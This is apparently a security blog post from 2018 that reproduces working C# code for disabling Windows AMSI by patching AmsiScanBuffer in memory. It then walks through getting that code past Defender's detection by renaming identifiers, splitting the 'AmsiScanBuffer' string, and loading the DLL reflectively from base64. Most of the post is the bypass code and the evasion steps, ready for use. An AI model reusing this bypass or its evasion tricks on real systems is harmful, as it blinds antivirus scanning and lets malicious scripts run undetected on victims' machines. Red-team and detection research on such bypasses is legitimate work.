Andre Marques recently posted a pretty nice write-up for circumventing AMSI, based on previous work by CyberArk.

Please read these for all the technical details - we’re launching this post with the C# code from Andre:

using System;
using System.Runtime.InteropServices;

namespace Bypass
{
    public class AMSI
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);


        public static int Disable()
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            if (TargetDLL == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
                return 1;
            }

            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
            if (AmsiScanBufferPtr == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
                return 1;
            }

            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;
            if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
            {
                Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
                return 1;
            }

            /*
             * This is a new technique, and is still working.
             * Source: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
             */
            Byte[] Patch = { 0x31, 0xff, 0x90 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

            Console.WriteLine("AmsiScanBuffer patch has been applied.");
            return 0;
        }
    }
}

I don’t think it’s clear from Andre’s post which version of Windows 10 he was testing against, but the CyberArk post specifically references 1709 (17074) and was originally posted on 23 May 2018. Microsoft have been doing a really effective job as of late, with keeping Defender and AMSI up-to-date. Even though MSRC said they would not fix it, they did say:

We don’t see this as a security vulnerability – but we’ll definitely look into what we can do to prevent (or detect) this type of attacks.

So at the time of writing (29 October 2018), I’m on Windows 10 1803 (17134). Does this bypass still work? Turns out the answer is yes, and no.

I copied the code verbatim, compiled to a DLL and attempted to load it via reflection, which failed:

Not a good start.

I had some suspects in mind, such as:

  • IntPtr TargetDLL = LoadLibrary("amsi.dll"); <- Maybe just loading AMSI is bad, but unlikely.
  • IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer"); <- Finding the address of AmsiScanBuffer.
  • if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero)) <- Modifying the permissions of a memory region.

And pretty much all of this…

Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

Because the code is relatively short, I thought I would just step through it line-by-line to see if I could find the offending content. I did this in PowerShell ISE, by putting all the C# into a text variable and “running” the script. Then, systematically removing a couple of lines of code each time, until I got to the point AMSI wasn’t flagging anymore.

To simplfy the process, I shortened the code a bit more by removing the if statements and removing console output. So my version became:

using System;
using System.Runtime.InteropServices;

namespace Bypass
{
    public class AMSI
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);

        public static int Disable()
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");

            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;

            VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero);

            Byte[] Patch = { 0x31, 0xff, 0x90 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

            return 0;
        }
    }
}

Eventually, I found only 3 lines were causing the alerts. IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");, if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero)) and MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);.

The one thing they all have in common…? Yep, the string (or substring) AmsiScanBuffer!

You can actually test this by just typing it into a PowerShell window…

And some funny consequences…

It’s also worth noting "Amsi Scan Buffer" also flags, but others like "AmsixScanxBuffer" or "Amsi.Scan.Buffer" are fine.

But this also means the reason my first reflection test failed, was probably down to this string being in my path and not the actual file itself. So I renamed everything and tried again…

Success.

This is still only a “somewhat limited” solution, because there are more ways we might want to load this code. If we want to use this directly in a PowerShell script, we could do [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String("")) without issue, which to be honest, is probably the most elegant way.

But if we want to do it this way, we’re still stuck.

$Ref = (
    [...]
)

$Source = @"
[...]
"@

Add-Type [...]

Of course, this is relatively straight forward to fix.

IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer"); becomes IntPtr ASBPtr = GetProcAddress(TargetDLL, "Amsi" + "Scan" + "Buffer");.

VirtualProtect(AmsiScanBufferPtr, (UIntPtr) 5, 0x40, out uint Zero); becomes VirtualProtect(ASBPtr, dwSize, 0x40, out Zero);.

MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3); becomes MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);.